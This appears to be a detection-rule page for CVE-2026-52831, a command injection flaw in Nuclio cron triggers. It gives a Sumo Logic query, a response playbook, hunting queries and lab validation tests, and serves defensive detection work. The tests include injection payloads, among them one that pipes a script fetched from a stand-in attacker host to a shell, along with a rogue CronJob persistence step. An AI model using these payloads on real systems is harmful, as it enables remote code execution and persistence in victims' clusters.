Detect Nuclio Cron Trigger Header/Body Command Injection (CVE-2026-52831) in Sumo Logic CSE
Detects exploitation of CVE-2026-52831, a critical (CVSS 10.0) command injection vulnerability in Nuclio's cron trigger handling. Unsanitized event headers and body content are injected into a CronJob-generated shell command, enabling unauthenticated attackers to achieve persistent remote code execution inside Nuclio function containers and, from there, the underlying Kubernetes node. Detection focuses on shell metacharacter injection in Nuclio dashboard/trigger logs, anomalous child processes spawned from nuclio-handler/processor binaries, and suspicious CronJob-launched shell activity in Kubernetes.
MITRE ATT&CK
Sumo Detection Query
_sourceCategory=kubernetes/container/logs (namespace="nuclio" OR container_name="*nuclio*" OR container_name="*processor*")
| parse regex "(?<log_line>.*)"
| where log_line matches "*curl *" or log_line matches "*wget *" or log_line matches "*/bin/sh*" or log_line matches "*/bin/bash*" or log_line matches "*&&*" or log_line matches "*$(*" or log_line matches "*|*"
| count by container_name, namespace
| sort by _count Aggregates Nuclio container log lines containing shell metacharacters or utility invocations that suggest exploitation of the cron trigger command injection vulnerability.
Data Sources
Required Tables
False Positives & Tuning
- Normal function output that includes pipe characters in non-shell contexts (e.g. JSON or markdown data)
- Legitimate use of curl/wget within function business logic
- Load testing tools generating high-volume log noise with similar patterns
Other platforms for CVE-2026-52831
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate malicious cron trigger header injection
Expected signal: Nuclio processor container log entries showing the injected header value and a subsequent shell process (sh/bash) spawned as a child of the processor binary
- Test 2Simulate cron trigger body command injection
Expected signal: Outbound HTTP request from the Nuclio processor container to attacker.lab.local and creation of a curl child process under the processor binary
- Test 3Detect unpatched Nuclio dashboard version
Expected signal: Nuclio dashboard API access log entry for /api/versions endpoint request
- Test 4Simulate persistent CronJob creation via injection
Expected signal: Kubernetes audit log CronJob create event in the nuclio namespace originating from an in-cluster service account associated with the processor pod
Response Playbook
Triage
- Identify all Nuclio dashboard and function instances in the environment and confirm the running version against the patched commit 3356b86a8bfab3f960aa420310ebff765df9dede (fixed in 1.16.4)
- Review cron trigger configurations for affected functions and inspect recent trigger event headers/body for shell metacharacters (;, |, &&, $(), backticks) or embedded curl/wget/nc commands
- Correlate Nuclio processor container process trees for unexpected child shell processes (sh, bash) spawned outside normal function execution paths
- Check Kubernetes audit logs for CronJob creation/modification events tied to Nuclio namespaces around the time of suspicious log entries
- Inspect the Nuclio dashboard API access logs for unauthenticated or anomalous requests to cron trigger configuration endpoints
Containment
- Immediately upgrade all Nuclio deployments to version 1.16.4 or later, or apply the patch from commit 3356b86a8bfab3f960aa420310ebff765df9dede
- Isolate and quarantine affected Nuclio function pods/nodes by cordoning the Kubernetes node and removing network access pending investigation
- Rotate any credentials, service account tokens, or secrets accessible to the compromised Nuclio processor container or mounted into affected pods
- Restrict or disable cron trigger functionality on internet-facing Nuclio dashboards until patching is confirmed complete
Evidence Collection
- Capture full container logs, process trees, and filesystem snapshots from affected Nuclio processor pods before termination or restart
- Export Kubernetes audit logs, CronJob manifests, and associated event history for the affected namespace covering the suspected exploitation window
- Preserve Nuclio dashboard access logs, trigger configuration history, and any persisted cron job definitions for forensic timeline reconstruction
- Collect network flow logs and DNS query records from affected nodes to identify command-and-control or data exfiltration destinations
Escalation Criteria
- !Evidence of successful RCE with outbound network connections to external/unknown IPs or domains from Nuclio processor containers
- !Confirmed lateral movement from a compromised Nuclio pod to other pods, nodes, or the Kubernetes control plane
- !Discovery of persistence mechanisms (modified CronJobs, new service accounts, added SSH keys) surviving container restarts
- !Any indication that cluster secrets, service account tokens with elevated RBAC, or cloud provider credentials were accessed or exfiltrated
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Kubernetes CronJob manifests and their modification history in the affected namespace - >
Nuclio processor container filesystem changes, dropped files, or newly written scripts under /tmp or function working directories - >
Container runtime process accounting logs showing parent-child relationships between processor binaries and spawned shells - >
Nuclio dashboard configuration database entries for cron trigger event definitions
Tuning Guidance
Baseline expected Nuclio function behavior per namespace/tenant before enabling in blocking mode; legitimate functions that call curl/wget/shell utilities as part of business logic will generate false positives on the regex-based rules. Scope detections to only cron-triggered functions where feasible, and correlate with Nuclio dashboard version metadata to suppress alerts once environments are confirmed patched to 1.16.4+. Increase confidence when shell metacharacter patterns co-occur with process spawning from processor/handler binaries rather than log content alone.
Hunting Queries
Hunts for anomalous CronJob/Job creation events tied to Nuclio namespaces, useful for identifying persistence established via the vulnerability outside of normal deployment activity.
KubePodInventory
| where Namespace has "nuclio"
| distinct PodName, ContainerImage
| join kind=inner (KubeEvents | where Reason == "Created" and ObjectKind == "Job") on PodName
| project TimeGenerated, PodName, ContainerImage, Reason index=kubernetes sourcetype="kube:events" objectKind="CronJob" namespace="nuclio"
| stats count by pod_name, cron_schedule, _time
| sort -_time Atomic Red Team Tests
Sends a crafted HTTP request to a lab Nuclio dashboard cron trigger endpoint with shell metacharacters embedded in event headers to simulate the injection vector (lab environment only, pre-patch version required)
Command
curl -X POST http://nuclio-dashboard.lab.local:8070/api/functions/test-cron-fn/invoke -H 'X-Nuclio-Event-Header: ; touch /tmp/pwned_poc ;' -d '{"body":"test"}' Cleanup
kubectl exec -n nuclio deploy/test-cron-fn -- rm -f /tmp/pwned_poc Expected Telemetry
Nuclio processor container log entries showing the injected header value and a subsequent shell process (sh/bash) spawned as a child of the processor binary
Expected Detection
elastic_eql and crowdstrike_cql rules trigger on child shell process with injected command; kql/spl rules alert on log entries containing shell metacharacters
Submits a malicious cron trigger event body containing a reverse shell attempt payload to a lab Nuclio function to validate detection of body-based injection (lab environment, isolated network)
Command
curl -X POST http://nuclio-dashboard.lab.local:8070/api/functions/test-cron-fn/invoke -d '{"body":"test$(curl -s http://attacker.lab.local/poc.sh | sh)"}' Cleanup
kubectl delete pod -n nuclio -l nuclio.io/function-name=test-cron-fn --force --grace-period=0 && kubectl rollout restart deploy/test-cron-fn -n nuclio Expected Telemetry
Outbound HTTP request from the Nuclio processor container to attacker.lab.local and creation of a curl child process under the processor binary
Expected Detection
spl and sumo_logic queries flag curl/pipe-to-shell pattern in container logs; chronicle_yaral rule matches on command_line regex for curl piped to sh
Queries a lab Nuclio dashboard API to enumerate the running version and confirm it predates the patched commit, validating vulnerability scanning detection coverage
Command
curl -s http://nuclio-dashboard.lab.local:8070/api/versions | grep -E 'gitCommit|label' Cleanup
No cleanup required; read-only version query Expected Telemetry
Nuclio dashboard API access log entry for /api/versions endpoint request
Expected Detection
qradar_aql and kql version-inventory hunting queries flag the presence of a Nuclio deployment version older than 1.16.4 for prioritized patching
Exploits the vulnerability path to create a rogue Kubernetes CronJob resource from within the compromised processor container, simulating attacker persistence establishment
Command
kubectl exec -n nuclio deploy/test-cron-fn -- sh -c 'echo "apiVersion: batch/v1
kind: CronJob
metadata:
name: poc-persist
spec:
schedule: \"*/5 * * * *\"
jobTemplate:
spec:
template:
spec:
containers:
- name: poc
image: busybox
command: [\"echo\", \"poc\"]
restartPolicy: OnFailure" > /tmp/poc-cronjob.yaml' Cleanup
kubectl delete cronjob poc-persist -n nuclio --ignore-not-found=true Expected Telemetry
Kubernetes audit log CronJob create event in the nuclio namespace originating from an in-cluster service account associated with the processor pod
Expected Detection
hunting query on KubeEvents/kube:events for anomalous CronJob creation in the nuclio namespace triggers investigation workflow